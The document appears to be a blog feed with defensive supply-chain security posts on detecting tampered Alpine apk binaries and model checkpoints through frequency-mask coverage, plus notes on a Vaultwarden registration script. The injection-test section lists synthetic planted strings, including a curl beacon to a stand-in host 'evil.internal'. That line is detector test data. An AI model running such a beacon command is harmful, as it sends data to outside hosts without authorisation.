ts=2026-04-25T04:38:37.446Z host=workstation service=test-vectors section=test_master_key event=pass name=master_key_matches_vector
ts=2026-04-25T04:38:37.454Z host=workstation service=test-vectors section=test_master_password_hash event=pass name=mph_matches_vector
ts=2026-04-25T04:38:37.508Z host=workstation service=test-vectors section=test_cipherstring_roundtrip event=pass name=mac_verifies
ts=2026-04-25T04:38:37.514Z host=workstation service=test-vectors section=test_cipherstring_roundtrip event=pass name=plaintext_recovered
ts=2026-04-25T04:38:37.521Z host=workstation service=test-vectors section=test_gsk event=pass name=gsk_128_hex_chars len=128
ts=2026-04-25T04:38:37.522Z host=workstation service=test-vectors section=summary event=summary total=8 passed=8 failed=0
</code></pre>
<p>Eight assertions, 92 milliseconds.
<a rel="noopener nofollow noreferrer" target="_blank" href="https://github.com/wererootops/zero-touch-trust-none/blob/main/vaultwarden/tests/test-vectors.sh">Full test file</a>.
The test lives alongside the registration script. If an OpenSSL upgrade
changes <code>kdf</code> output behavior -it has happened- the test fails before any
server sees the payload.</p>
<h2 id="operational-notes">Operational notes</h2>
<p>No shebang lines, no execute bit. Every script in the repo is invoked as
<code>bash register.sh</code> or sourced with <code>. lib/bitwarden-crypto.sh</code>. The
interpreter is explicit at the call site, not encoded in the file. This
eliminates the <code>#!/usr/bin/env bash</code> portability question across Alpine,
Arch, and whatever the CI runner image happens to be.</p>
<p>The master password enters via stdin only. Never argv -it appears in <code>ps</code>
and in <code>/proc/$PID/cmdline</code> for the process lifetime. Never an environment
variable -readable from <code>/proc/$PID/environ</code> by any process running as the
same UID. <code>IFS= read -r</code> on a pipe, <code>read -rs</code> on a TTY.</p>
<p>Exit codes are differentiated: 1 for input errors, 2 for network, 3 for
server rejection, 4 for internal failures. A CD pipeline can distinguish
between “the bastion is unreachable” and “the binary you just built returns
an unexpected status from the registration endpoint.”</p>
<p>The full registration script, the crypto library, and the test suite are at
<a rel="noopener nofollow noreferrer" target="_blank" href="https://github.com/wererootops/zero-touch-trust-none/tree/main/vaultwarden#readme">wererootops/zero-touch-trust-none</a>.</p>
Detecting Checkpoint Anomalies via Frequency Masking2026-03-09T00:00:00+00:002026-03-09T00:00:00+00:00
Unknown
https://lf3.gitlab.io/blog/frequency-masking-checkpoints/<hr />
<h2 id="frequency-masking-on-model-checkpoints">Frequency Masking on Model Checkpoints</h2>
<p>The <a href="/blog/binary-string-mask/">previous post</a> applied frequency masks to compiled binaries. Given a corpus of known-good versions of the same binary, the method builds a mask of invariant byte patterns and measures how much of that structure a target binary still covers. The experiment used nine versions of Alpine’s <code>apk</code> binary. The separation between the known-good corpus and a major version rewrite was clean and required no source, no signature and no prior knowledge of the binary’s internals. The method itself was first developed in <a href="/blog/i-like-lists/">Me gustan las listas</a>, where frequency masks were applied to plain text corpora to remove boilerplate from hundreds of w3m dumps.</p>
<p>A trained model checkpoint is a binary. It has a version history. That history has statistical structure.</p>
<p>The question is the same.</p>
<h2 id="the-corpus">The corpus</h2>
<p>EleutherAI’s Pythia-14m has something most models do not: public checkpoints from multiple points during training. Not the final model and a fine-tuned variant. The full pretraining process captured at discrete steps.</p>
<pre data-lang="bash" class="language-bash "><code class="language-bash" data-lang="bash">BASE_URL="https://huggingface.co/EleutherAI/pythia-14m/resolve"
CORPUS_STEPS="1000 4000 16000 32000 64000 128000"
for step in $CORPUS_STEPS 143000; do
wget -q --show-progress \
-O "checkpoints/step${step}.safetensors" \
"${BASE_URL}/step${step}/model.safetensors"
done
</code></pre>
<p>Seven files. 26.84 MB each. The corpus is the first six steps. step143000 is the test target: the same model at the end of pretraining.</p>
<h2 id="two-substrates">Two substrates</h2>
<p>A safetensors file has two regions with distinct properties.</p>
<p>The first is the JSON header: layer names, data types, offsets, architecture metadata. Printable bytes. The same <code>tr -cd '\040-\176'</code> pipeline from the previous post works directly.</p>
<p>The second is the actual weights: packed float32 values. Not text. Applying the same method requires representing them as a hex sequence.</p>
<pre data-lang="bash" class="language-bash "><code class="language-bash" data-lang="bash"># substrate 1: printable bytes from the header
tr -cd '\040-\176' < checkpoints/step1000.safetensors > printable/step1000.txt
# substrate 2: 2MB of weights from the center of the file, represented as hex
file_size=$(wc -c < checkpoints/step1000.safetensors)
skip=$(( (file_size / 2) - 1000000 ))
dd if=checkpoints/step1000.safetensors bs=1 skip="$skip" count=2000000 2>/dev/null \
| xxd -p -c 16 \
> hexbytes/step1000.hex
</code></pre>
<p>The <code>-c 16</code> flag on <code>xxd</code> writes 16 bytes per line as 32 hex characters. A one-byte-per-line output would give 2-character lines. With grain=4, no n-gram would ever be generated. With 32-character lines, the sliding window works as expected.</p>
<h2 id="the-mask">The mask</h2>
<p>The same AWK from the previous post. The key distinction holds: count by distinct file, not by total occurrences. A pattern that appears a thousand times inside a single checkpoint contributes 1 to the frequency count. A pattern that appears in five of six checkpoints contributes 5.</p>
<pre data-lang="bash" class="language-bash "><code class="language-bash" data-lang="bash"># mask over printable bytes (grain=6, step=2, threshold=0.75)
awk -v grain=6 -v step_size=2 -v threshold=0.75 \
-f build_mask.awk \
printable/step{1000,4000,16000,32000,64000,128000}.txt \
> mask_printable.txt
# mask over hex bytes (grain=4, step=1, threshold=0.75)
awk -v grain=4 -v step_size=1 -v threshold=0.75 \
-f build_mask.awk \
hexbytes/step{1000,4000,16000,32000,64000,128000}.hex \
> mask_hex.txt
</code></pre>
<pre><code>mask_printable: 893 n-grams
mask_hex: 51721 n-grams
</code></pre>
<h2 id="the-results">The results</h2>
<p>Coverage over corpus and test target:</p>
<pre><code>=== printable coverage ===
step 1000: covered=4244 total=5882756 coverage=0.001
step 4000: covered=4244 total=5903096 coverage=0.001
step 16000: covered=4244 total=5800540 coverage=0.001
step 32000: covered=4244 total=5691162 coverage=0.001
step 64000: covered=4244 total=5650045 coverage=0.001
step128000: covered=4244 total=5417921 coverage=0.001
step143000: covered=4243 total=5392809 coverage=0.001
=== hex coverage ===
step 1000: covered=3621149 total=3625000 coverage=0.999
step 4000: covered=3620327 total=3625000 coverage=0.999
step 16000: covered=3618789 total=3625000 coverage=0.998
step 32000: covered=3618928 total=3625000 coverage=0.998
step 64000: covered=3617073 total=3625000 coverage=0.998
step128000: covered=3616316 total=3625000 coverage=0.998
step143000: covered=3615556 total=3625000 coverage=0.997
</code></pre>
<p>The printable substrate has no useful signal over the weights. The 4244 fixed hits are the JSON header: layer names, types, offsets. The rest of the printable bytes in a 26MB float32 weight file are incidental. A coverage of 0.001 is not a failure. It is the correct proportion of header content relative to the total printable byte count.</p>
<p>The hex substrate has signal. 0.997 to 0.999 is a stable range. step143000 lands at 0.997: same model, more trained, inside the corpus range.</p>
<h2 id="the-outliers">The outliers</h2>
<p>A single known-good variant at the boundary of the corpus is not enough. Two models with increasing distance from the pretraining distribution were measured.</p>
<p><strong>Pythia-14m-deduped</strong>: same architecture, trained on the deduplicated Pile instead of the full Pile. Identical layer names. Different weight distribution.</p>
<pre data-lang="bash" class="language-bash "><code class="language-bash" data-lang="bash">wget -q --show-progress \
-O checkpoints/deduped.safetensors \
"https://huggingface.co/EleutherAI/pythia-14m-deduped/resolve/main/model.safetensors"
</code></pre>
<p>Coverage: <strong>0.992</strong>.</p>
<p><strong>pythia-14m-sentences</strong>: fine-tuned on a curated corpus of English sentences. Same architecture. Task substantially different from general pretraining.</p>
<pre data-lang="bash" class="language-bash "><code class="language-bash" data-lang="bash">wget -q --show-progress \
-O checkpoints/sentences.safetensors \
"https://huggingface.co/agentlans/pythia-14m-sentences/resolve/main/model.safetensors"
</code></pre>
<p>Coverage: <strong>0.737</strong>.</p>
<p>Full table:</p>
<table><thead><tr><th>model</th><th>coverage</th><th>description</th></tr></thead><tbody>
<tr><td>step1000 - step128000</td><td>0.998 - 0.999</td><td>corpus baseline</td></tr>
<tr><td>step143000</td><td>0.997</td><td>same model, end of pretraining</td></tr>
<tr><td>pythia-14m-deduped</td><td>0.992</td><td>same architecture, different training corpus</td></tr>
<tr><td>pythia-14m-sentences</td><td>0.737</td><td>aggressive fine-tuning on sentence corpus</td></tr>
</tbody></table>
<p>The separation is clean. 0.997 to 0.992 is training corpus drift. 0.992 to 0.737 is fine-tuning. The mask knows neither. It knows what byte patterns appeared in the version history of the artifact.</p>
<h2 id="measurement-cost">Measurement cost</h2>
<p>Once the mask exists, measuring a new checkpoint is a single linear pass over a fixed-size sample.</p>
<pre><code>sentences finetuned: covered=2671052 total=3625000 coverage=0.737
real 0m1.740s
user 0m1.726s
sys 0m0.008s
</code></pre>
<p>1.74 seconds. 27MB file. The mask loads into AWK’s hash table at startup. What follows is a sliding window over 2MB of hex output with one hash lookup per n-gram. No model loading. No framework. No GPU.</p>
<p>The sample size is fixed at 2MB regardless of the checkpoint size. The measurement cost does not scale with model size. It scales with SAMPLE_BYTES, which is a parameter.</p>
<p>The <code>dd</code> seek does scale with file size on spinning disk. On SSD it is negligible.</p>
<p>The only measured data point is pythia-14m at 1.7 seconds on a desktop machine. The table below extends that to larger models based on two assumptions: that <code>dd</code> seek time on SSD is under one second for any file size, and that AWK processing time is dominated by the fixed 2MB sample rather than by the total file size. Both assumptions hold for the measured case. Whether they hold at 13GB or 130GB requires actual measurement on those files.</p>
<p>The torch.load() column assumes a machine with sufficient RAM to load the full model. For LLaMA-70B that is approximately 140GB. On hardware without that capacity, loading is not a timing question.</p>
<table><thead><tr><th>model</th><th>size</th><th>this method</th><th>torch.load()</th></tr></thead><tbody>
<tr><td>pythia-14m</td><td>27MB</td><td>1.7s (measured)</td><td>~3s</td></tr>
<tr><td>pythia-1b</td><td>2GB</td><td>~2s (estimated)</td><td>~25s (estimated)</td></tr>
<tr><td>LLaMA-7B</td><td>13GB</td><td>~2-4s (estimated)</td><td>~90s (estimated)</td></tr>
<tr><td>LLaMA-70B</td><td>130GB</td><td>~3-8s on SSD (estimated)</td><td>~900s on high-memory server (estimated)</td></tr>
</tbody></table>
<p>These are projections from a single data point, not a benchmark. Confirming them is one of the three future directions described below.</p>
<p>The method requires approximately 50MB regardless of model size: AWK’s hash table for the mask plus the 2MB sample buffer.</p>
<p>This is not an optimization. It is a structural property of the method. The model is never loaded. Only a fixed-size sample of its byte content is examined.</p>
<h2 id="what-this-measures-and-what-it-does-not">What this measures and what it does not</h2>
<p>A signature certifies that a specific process signed a specific artifact. It does not certify that the artifact is semantically consistent with its own history. A fine-tuning step that modifies weights after pretraining and before signing produces a valid signature on a modified model.</p>
<p>Coverage analysis answers a different question: is this artifact what it has always been. The two signals are orthogonal. Signature verification is a gate. Coverage is a baseline. Gates are binary. Baselines are continuous.</p>
<p>The method detects byte population anomalies, not arbitrary weight modifications. A change that produces byte patterns already present in the corpus will not lower coverage. Targeted adversarial modifications aware of the mask could evade it. The corpus must be known-good: a change present in all corpus versions becomes part of the mask.</p>
<h2 id="coverage-as-a-time-series">Coverage as a time series</h2>
<p>A single measurement detects whether a specific checkpoint is anomalous. A time series detects whether the model is drifting across releases.</p>
<p>A model that loses 0.2% coverage per fine-tuning round over ten rounds triggers no single-artifact alert. The cumulative drop is visible as slope. The mask variance metric from the previous post applies here directly: how much does the mask itself change when rebuilt from a sliding window of the checkpoint history. A stable model produces a stable mask. A mask that gains or loses many entries between consecutive rebuilds signals that the population is in flux.</p>
<h2 id="future-directions">Future directions</h2>
<p>Three experiments would convert this from a demonstration into a rigorous method.</p>
<p><strong>Ablation over SAMPLE_BYTES.</strong> The current setup samples 2MB from the center of each file. It is not known whether the center is the most informative region or whether the signal holds at smaller sample sizes. Running coverage measurements at 512KB, 1MB, 2MB and 4MB samples across the same corpus would characterize the tradeoff between cost and signal quality.</p>
<p><strong>Benchmark at scale.</strong> The projected times in the table above are estimates based on the structural properties of the method. Measuring actual times on pythia-1b and LLaMA-7B with the same scripts would either confirm the projections or expose where they break. The comparison against <code>torch.load()</code> would move from estimated to measured.</p>
<p><strong>Grain and corpus size coupling.</strong> With 6 corpus versions, grain=4 step=1 produces 51721 mask entries and clear separation. It is not known how the mask degrades as corpus size shrinks or how signal quality improves as grain increases with a larger corpus. A systematic sweep over (corpus_size, grain) pairs on a model family with more public checkpoints would characterize that surface.</p>
<p>The first post applied the method to plain text: w3m dumps with boilerplate repeated across files. The second applied it to compiled binaries: versions of the same executable with an invariant string population across releases. This post applies it to ML artifacts: checkpoints of the same model at different points during training.</p>
<p>The substrate changes. The method does not.</p>
<p>What changes across the three posts is not the procedure. It is what the procedure is answering. In plain text: which lines are template. In binaries: does this executable still look like what it has always been. In model checkpoints: is this artifact a statistical descendant of the versions that preceded it.</p>
<p>The frequency mask does not know which domain it is operating in. It knows how to count.</p>
Detecting anomalous binaries by measuring drift from their own version history2026-03-06T00:00:00+00:002026-03-06T00:00:00+00:00
Unknown
https://lf3.gitlab.io/blog/binary-string-mask/<hr />
<h2 id="frequency-masking-on-embedded-binary-strings">Frequency masking on embedded binary strings</h2>
<p><strong>Can a binary be evaluated against the statistical structure of its own version history?</strong></p>
<p>Verifying the integrity of distributed binaries usually depends on reproducible builds or vendor signatures. This post shows a simple experiment using nine versions of Alpine’s apk binary.</p>
<p>In practice, both assumptions often fail.</p>
<p>Many projects do not provide reproducible builds, and closed binaries cannot be rebuilt independently. When a suspicious binary appears, the only options are usually signature matching or full reverse engineering.</p>
<h2 id="detecting-binary-drift-with-frequency-masks">Detecting binary drift with frequency masks</h2>
<p>The method builds a frequency mask of invariant strings across a corpus of known-good versions and measures how much of that invariant structure a target binary still covers.</p>
<p><strong>Alpine apk-tools coverage (unigram & byte n-gram)</strong></p>
<table><thead><tr><th>Unit</th><th>3.14–3.22</th><th>3.23 outlier</th></tr></thead><tbody>
<tr><td>Strings</td><td>71–80%</td><td>40%</td></tr>
<tr><td>Byte n-grams</td><td>23–28%</td><td>13.6%</td></tr>
</tbody></table>
<p>This is an extension of a method developed in “<a href="/blog/i-like-lists">Me gustan las listas</a>”, where frequency masks were applied to text corpora to remove boilerplate.</p>
<p>The post covers two analyses. The first treats each line of <code>strings</code> output as a unit (unigram). The second operates on the continuous printable byte sequence of the binary, with no line cuts, using a sliding window to extract character n-grams. Both use the same frequency mask construction and coverage measurement. Raff et al. (2018) observed, in a different context, that most information carried by byte n-grams is recoverable from string features alone. The two analyses here are designed around that complementarity.</p>
<p>A note on the synthesis traditions that informed the framing: granular synthesis decomposes a signal into small time-domain grains and analyzes each individually. Concatenative synthesis extends that to the transitions between grains, because the join carries information that neither grain contains alone. Ó Nuanáin, Herrera and Jordà describe this distinction precisely in the context of rhythmic pattern generation (<a rel="noopener nofollow noreferrer" target="_blank" href="https://repositori.upf.edu/server/api/core/bitstreams/0dd9fbf3-1277-400c-9877-658439797336/content">ISMIR 2016</a>). Applied here: the string is the grain in the first analysis. The byte sequence with a sliding window is the concatenative extension: no arbitrary cuts. The grain becomes a fixed-width window over the continuous character sequence.</p>
<p>A parenthesis as grateful attribution: <a rel="noopener nofollow noreferrer" target="_blank" href="https://www.upf.edu/web/sergi-jorda">Sergi Jordà</a> presented this distinction at “Creación Musical Interactiva: del Reactable a las redes musicales,” Centro Cultural de España en Buenos Aires, 2009. The idea that concatenative synthesis considers the join between grains, not only the grains themselves, came from that room.</p>
<hr />
<h2 id="the-observation">The observation</h2>
<p>Every compiled binary carries embedded strings: error messages, format strings, symbol names, library paths, command-line option descriptions. These strings are largely stable across patch releases. The error messages in <code>apk-tools 2.14.4</code> are the same as in <code>apk-tools 2.14.9</code>. The option descriptions did not change.</p>
<p>Version identifiers and build timestamps do change, but they are a small fraction of the total string population.</p>
<p>Given a corpus of known-good versions of the same binary, most strings appear in most versions. A binary with an anomalous string population is worth investigating.</p>
<hr />
<h3 id="corpus-alpine-apk-tools-from-release-isos">Corpus: Alpine apk-tools from release ISOs</h3>
<p>The corpus is <code>sbin/apk</code> extracted directly from Alpine Linux release ISOs, 3.14 through 3.22. Each ISO ships <code>apk-tools</code> as a <code>.apk</code> package in <code>/apks/x86_64/</code>. The package is a gzip tar. No installation required.</p>
<pre data-lang="bash" class="language-bash "><code class="language-bash" data-lang="bash">mount -o loop,ro isos/alpine-standard-3.22.0-x86_64.iso mnt/3.22
tar -xzf mnt/3.22/apks/x86_64/apk-tools-2.14.9-r2.apk \
--to-stdout sbin/apk > binaries/apk-tools/apk-tools-3.22
strings binaries/apk-tools/apk-tools-3.22 > strings/apk-tools/3.22.txt
</code></pre>
<table><thead><tr><th>Alpine</th><th>apk-tools</th><th>size</th><th>strings</th></tr></thead><tbody>
<tr><td>3.14</td><td>2.12.5-r1</td><td>69712B</td><td>746</td></tr>
<tr><td>3.15</td><td>2.12.7-r3</td><td>69768B</td><td>749</td></tr>
<tr><td>3.16</td><td>2.12.9-r3</td><td>69624B</td><td>755</td></tr>
<tr><td>3.17</td><td>2.12.10-r1</td><td>69560B</td><td>756</td></tr>
<tr><td>3.18</td><td>2.14.0-r0</td><td>69632B</td><td>846</td></tr>
<tr><td>3.19</td><td>2.14.0-r5</td><td>69648B</td><td>843</td></tr>
<tr><td>3.20</td><td>2.14.4-r0</td><td>69648B</td><td>827</td></tr>
<tr><td>3.21</td><td>2.14.6-r2</td><td>69648B</td><td>864</td></tr>
<tr><td>3.22</td><td>2.14.9-r2</td><td>69648B</td><td>856</td></tr>
</tbody></table>
<p>Binary sizes cluster around 69.6KB through the 2.12.x and 2.14.x series. All 9 binaries have distinct SHA256 hashes.</p>
<p>Alpine 3.23 ships <code>apk-tools 3.0.1</code>, a rewrite. Its binary is 115096B.</p>
<hr />
<h2 id="automatic-corpus-boundary-detection">Automatic corpus boundary detection</h2>
<p>Before building the mask, binary sizes are compared against the corpus median. Any binary that deviates more than 20% from the median is excluded from mask construction and evaluated separately.</p>
<pre data-lang="bash" class="language-bash "><code class="language-bash" data-lang="bash">sorted_sizes=$(for ver in "${VERSIONS[@]}"; do echo "${SIZES[$ver]}"; done | sort -n)
mid=$(( (count + 1) / 2 ))
median=$(echo "$sorted_sizes" | sed -n "${mid}p")
lo=$(echo "scale=0; $median * 80 / 100" | bc)
hi=$(echo "scale=0; $median * 120 / 100" | bc)
</code></pre>
<pre><code>median: 69648B range: 55718B - 83577B
3.14 - 3.22 [corpus] 69560B - 69768B
3.23 [outlier] 115096B (65% above median)
</code></pre>
<p>The 3.23 rewrite is detected automatically. No version numbers are hardcoded. The <code>PACKAGE</code> variable at the top of the script is the only thing that changes when applying this to a different binary.</p>
<hr />
<h2 id="building-the-frequency-mask">Building the frequency mask</h2>
<p>For each unit of analysis, count how many distinct files in the corpus contain it. Units present in at least <code>threshold</code> fraction of the corpus become the mask.</p>
<p>The key distinction: count by distinct file, not by total occurrences. A string that appears 50 times in one binary contributes 1 to the frequency count. A string that appears once in 7 of 9 corpus files contributes 7.</p>
<p>The mask is built in a single awk pass over all corpus files:</p>
<pre data-lang="awk" class="language-awk "><code class="language-awk" data-lang="awk">FNR == 1 { delete seen }
{
if (seen[$0]) next
seen[$0] = 1
freq[$0]++
}
END {
for (s in freq)
if (freq[s] >= min) print s
}
</code></pre>
<p><code>FNR == 1</code> resets the per-file deduplication set at each new file. The full corpus of 9 files processes in under 0.25 seconds.</p>
<hr />
<h3 id="analysis-1-unigram-coverage">Analysis 1: unigram coverage</h3>
<p>At threshold 0.75, the mask contains <strong>513 strings</strong>.</p>
<table><thead><tr><th>Alpine</th><th>apk-tools</th><th>covered/total</th><th>coverage</th></tr></thead><tbody>
<tr><td>3.14</td><td>2.12.5-r1</td><td>574/746</td><td>76.9%</td></tr>
<tr><td>3.15</td><td>2.12.7-r3</td><td>580/749</td><td>77.4%</td></tr>
<tr><td>3.16</td><td>2.12.9-r3</td><td>581/755</td><td>76.9%</td></tr>
<tr><td>3.17</td><td>2.12.10-r1</td><td>611/756</td><td>80.8%</td></tr>
<tr><td>3.18</td><td>2.14.0-r0</td><td>627/846</td><td>74.1%</td></tr>
<tr><td>3.19</td><td>2.14.0-r5</td><td>634/843</td><td>75.2%</td></tr>
<tr><td>3.20</td><td>2.14.4-r0</td><td>623/827</td><td>75.3%</td></tr>
<tr><td>3.21</td><td>2.14.6-r2</td><td>617/864</td><td>71.4%</td></tr>
<tr><td>3.22</td><td>2.14.9-r2</td><td>617/856</td><td>72.0%</td></tr>
</tbody></table>
<p>Corpus coverage: 71% to 80%.</p>
<table><thead><tr><th>Alpine</th><th>apk-tools</th><th>covered/total</th><th>coverage</th><th></th></tr></thead><tbody>
<tr><td>3.23</td><td>3.0.1-r1</td><td>532/1317</td><td>40.3%</td><td>outlier, major version rewrite</td></tr>
</tbody></table>
<figure style="text-align:center; margin:2rem 0">
<img src="/chart_unigram.svg" alt="Unigram coverage" style="max-width:1024px; width:100%;">
</figure>
<hr />
<h3 id="how-the-sliding-window-works">How the sliding window works</h3>
<p>A binary file is a stream of bytes. Each byte is one value between 0 and 255, written in hex as two digits: <code>00</code> to <code>FF</code>.</p>
<p>Take two known-good versions as corpus:</p>
<pre><code>corpus 1: "hello world"
corpus 2: "hello words"
pos: 1 2 3 4 5 6 7 8 9 10 11
chr: h e l l o w o r l d
hex: 68 65 6C 6C 6F 20 77 6F 72 6C 64
chr: h e l l o w o r d s
hex: 68 65 6C 6C 6F 20 77 6F 72 64 73
</code></pre>
<p>A window of grain=4 step=1 moves like this. Each window produces one n-gram. No byte determines a cut. The window moves forward by 1 and reads 4.</p>
<pre><code>W1: [h e l l] 68 65 6C 6C corpus1 ✓ corpus2 ✓
W2: [e l l o] 65 6C 6C 6F corpus1 ✓ corpus2 ✓
W3: [l l o ] 6C 6C 6F 20 corpus1 ✓ corpus2 ✓
W4: [l o w] 6C 6F 20 77 corpus1 ✓ corpus2 ✓
W5: [o w o] 6F 20 77 6F corpus1 ✓ corpus2 ✓
W6: [ w o r] 20 77 6F 72 corpus1 ✓ corpus2 ✓
W7: [w o r l] 77 6F 72 6C corpus1 ✓ corpus2 ✗
W8: [o r l d] 6F 72 6C 64 corpus1 ✓ corpus2 ✗
</code></pre>
<p>At threshold=0.75, W7 and W8 do not make it into the mask. They appeared in only one of two documents.</p>
<p>Three targets against this mask:</p>
<p><code>"hello words"</code> — known subject, can pass:</p>
<pre><code> "hello world" "hello words"
W1: [h e l l] 68 65 6C 6C ✓ 68 65 6C 6C ✓
W2: [e l l o] 65 6C 6C 6F ✓ 65 6C 6C 6F ✓
W3: [l l o ] 6C 6C 6F 20 ✓ 6C 6C 6F 20 ✓
W4: [l o w] 6C 6F 20 77 ✓ 6C 6F 20 77 ✓
W5: [o w o] 6F 20 77 6F ✓ 6F 20 77 6F ✓
W6: [ w o r] 20 77 6F 72 ✓ 20 77 6F 72 ✓
W7: [w o r d] 77 6F 72 6C ✗ 77 6F 72 64 ✗
W8: [o r d s] 6F 72 6C 64 ✗ 6F 72 64 73 ✗
</code></pre>
<p>Coverage: <strong>6/8 = 75%</strong>. W7 and W8 differ between the two corpus documents. The threshold dropped them from the mask. The greeting passes.</p>
<p><code>"hello earth"</code> — second word different:</p>
<pre><code>W1: [h e l l] 68 65 6C 6C ✓
W2: [e l l o] 65 6C 6C 6F ✓
W3: [l l o ] 6C 6C 6F 20 ✓
W4: [l o e] 6C 6F 20 65 ✗
W5: [o e a] 6F 20 65 61 ✗
W6: [ e a r] 20 65 61 72 ✗
W7: [e a r t] 65 61 72 74 ✗
W8: [a r t h] 61 72 74 68 ✗
</code></pre>
<p>Coverage: <strong>3/8 = 37%</strong>. W4 is the first window to include the changed byte. Five consecutive windows register it until it is no longer considered. W1 through W3 did not see it because the change was outside their range.</p>
<p>The mask:</p>
<pre><code>[h e l l] 68 65 6C 6C "hell"
[e l l o] 65 6C 6C 6F "ello"
[l l o ] 6C 6C 6F 20 "llo "
[l o w] 6C 6F 20 77 "lo w"
[o w o] 6F 20 77 6F "o wo"
[ w o r] 20 77 6F 72 " wor"
</code></pre>
<p>Six sequences. Every document that starts with <code>hello w</code> covers the first five before anything else matters. The mask does not know it is detecting greetings. It knows those six byte patterns were present in every document it was given.</p>
<p><code>"bye bye now"</code> — completely different:</p>
<pre><code>W1: [b y e ] 62 79 65 20 ✗
W2: [y e b] 79 65 20 62 ✗
W3: [e b y] 65 20 62 79 ✗
W4: [ b y e] 20 62 79 65 ✗
W5: [b y e ] 62 79 65 20 ✗
W6: [y e n] 79 65 20 6E ✗
W7: [e n o] 65 20 6E 6F ✗
W8: [ n o w] 20 6E 6F 77 ✗
</code></pre>
<p>Coverage: <strong>0/8 = 0%</strong>. None of these sequences were in the corpus.</p>
<hr />
<h3 id="analysis-2-byte-n-gram-coverage">Analysis 2: byte n-gram coverage</h3>
<p>The unigram analysis treats each line of <code>strings</code> output as a unit. That cut is a null byte in the binary. There is no semantic significance to that boundary.</p>
<p>The byte n-gram analysis removes that cut entirely. The binary is read as a continuous sequence of printable bytes and a sliding window extracts fixed-width character n-grams:</p>
<pre data-lang="bash" class="language-bash "><code class="language-bash" data-lang="bash">tr -cd '\040-\176' < binary | awk -v grain="$GRAIN" -v step="$STEP" '
{ seq = seq $0 }
END {
n = length(seq)
for (i = 1; i + grain - 1 <= n; i += step)
print substr(seq, i, grain)
}'
</code></pre>
<p>No <code>strings</code>, no line cuts, no dependency on null byte positions. The same frequency mask construction runs on the resulting n-gram files.</p>
<p>Each binary has approximately 19,000-21,000 printable characters in the 2.x series. Alpine 3.23 has 33,680.</p>
<h3 id="grain-6-step-2">grain=6 step=2</h3>
<p>Mask contains 2253 n-grams.</p>
<table><thead><tr><th>Alpine</th><th>apk-tools</th><th>covered/total</th><th>coverage</th></tr></thead><tbody>
<tr><td>3.14</td><td>2.12.5-r1</td><td>2319/9770</td><td>23.7%</td></tr>
<tr><td>3.15</td><td>2.12.7-r3</td><td>2716/9844</td><td>27.5%</td></tr>
<tr><td>3.16</td><td>2.12.9-r3</td><td>2457/9852</td><td>24.9%</td></tr>
<tr><td>3.17</td><td>2.12.10-r1</td><td>2557/10004</td><td>25.5%</td></tr>
<tr><td>3.18</td><td>2.14.0-r0</td><td>2556/10783</td><td>23.7%</td></tr>
<tr><td>3.19</td><td>2.14.0-r5</td><td>2793/10499</td><td>26.6%</td></tr>
<tr><td>3.20</td><td>2.14.4-r0</td><td>2805/10579</td><td>26.5%</td></tr>
<tr><td>3.21</td><td>2.14.6-r2</td><td>2703/10708</td><td>25.2%</td></tr>
<tr><td>3.22</td><td>2.14.9-r2</td><td>2970/10687</td><td>27.7%</td></tr>
</tbody></table>
<p>Outlier: 3.23: 2293/16838 (13.6%)</p>
<p>Corpus range 23.7-27.7%, outlier 13.6%. The separation is cleaner. The grain size and step are parameters that trade mask density for specificity. A larger corpus would allow larger grains without losing separation.</p>
<figure style="text-align:center; margin:2rem 0">
<img src="/chart_bytengram.svg" alt="Byte n-gram coverage" style="max-width:1024px; width:100%;">
</figure>
<hr />
<h2 id="injection-test">Injection test</h2>
<p>The injection test appends synthetic strings to <code>apk-tools-3.22</code> and measures unigram coverage against the mask.</p>
<p>Baseline: 617/856 (72.0%)</p>
<table><thead><tr><th>injected</th><th>total</th><th>covered</th><th>coverage</th><th>delta</th></tr></thead><tbody>
<tr><td>+1</td><td>857</td><td>617</td><td>71.9%</td><td>-0.1%</td></tr>
<tr><td>+5</td><td>861</td><td>617</td><td>71.6%</td><td>-0.4%</td></tr>
<tr><td>+10</td><td>866</td><td>617</td><td>71.2%</td><td>-0.8%</td></tr>
<tr><td>+20</td><td>876</td><td>617</td><td>70.4%</td><td>-1.6%</td></tr>
<tr><td>+50</td><td>906</td><td>617</td><td>68.1%</td><td>-3.9%</td></tr>
</tbody></table>
<p>Sample strings flagged as new:</p>
<pre><code>> PWNED_BY_SUPPLIER_X
> backdoor.collection.exfil
> curl http://evil.internal/beacon
</code></pre>
<p>Coverage decreases monotonically. The covered count does not change: the injected strings are absent from the mask and the known strings remain known.</p>
<hr />
<h2 id="properties">Properties</h2>
<p><strong>No reproducibility requirement.</strong> The mask is built from observed populations in version history. Two builds of the same source with different timestamps produce nearly identical string populations. Both score near the corpus baseline.</p>
<p><strong>Closed binaries.</strong> The analysis requires only read access to the binary. No source, no debug symbols, no build metadata.</p>
<p><strong>No prior signature.</strong> The corpus is built from version history available without authentication: public package repositories, OCI registries, release ISOs. No PKI, no key management.</p>
<p><strong>Proportional signal.</strong> Coverage is a continuous metric. The alert threshold is inferred from the observed distribution of known-good versions.</p>
<p><strong>Two complementary signals.</strong> Unigram coverage detects new strings. Byte n-gram coverage operates on the raw character sequence without depending on tool-imposed cuts.</p>
<hr />
<h2 id="limitations">Limitations</h2>
<p><strong>The analysis detects string population anomalies, not arbitrary code modifications.</strong> A modification that reuses existing strings in existing positions will not change either metric.</p>
<p><strong>The corpus must be known-good.</strong> A change present in all corpus versions becomes part of the mask. The method assumes the corpus is clean.</p>
<p><strong><code>strings</code> output and <code>tr</code> output depend on tool configuration.</strong> Minimum length, encoding and platform affect results. The corpus and target must be processed identically.</p>
<p><strong>Grain size and corpus size are coupled.</strong> A grain of 8 characters requires a larger corpus to produce a stable mask than a grain of 6. With 9 versions, grain=6 step=2 produces better separation than grain=8 step=4.</p>
<hr />
<h2 id="where-this-fits-if-the-pipeline-is-already-signed">Where this fits if the pipeline is already signed</h2>
<p>A signature certifies that a specific process signed a specific artifact. It does not certify that the artifact is semantically consistent with prior versions of itself. A build step that modifies a binary after compilation and before signing produces a valid signature on a modified artifact.</p>
<p>Coverage analysis answers a different question: is this artifact what it has always been. The two signals are orthogonal. Signature verification is a gate. Coverage analysis is a baseline. Gates are binary. Baselines are continuous.</p>
<hr />
<h2 id="coverage-as-a-time-series">Coverage as a time series</h2>
<p>A single coverage measurement detects whether a specific version is anomalous. A time series detects whether the binary is drifting.</p>
<p>This is the natural shape for a build pipeline dashboard: every release of a dependency plotted as a point, drift visible as slope before any single artifact crosses an alert threshold.</p>
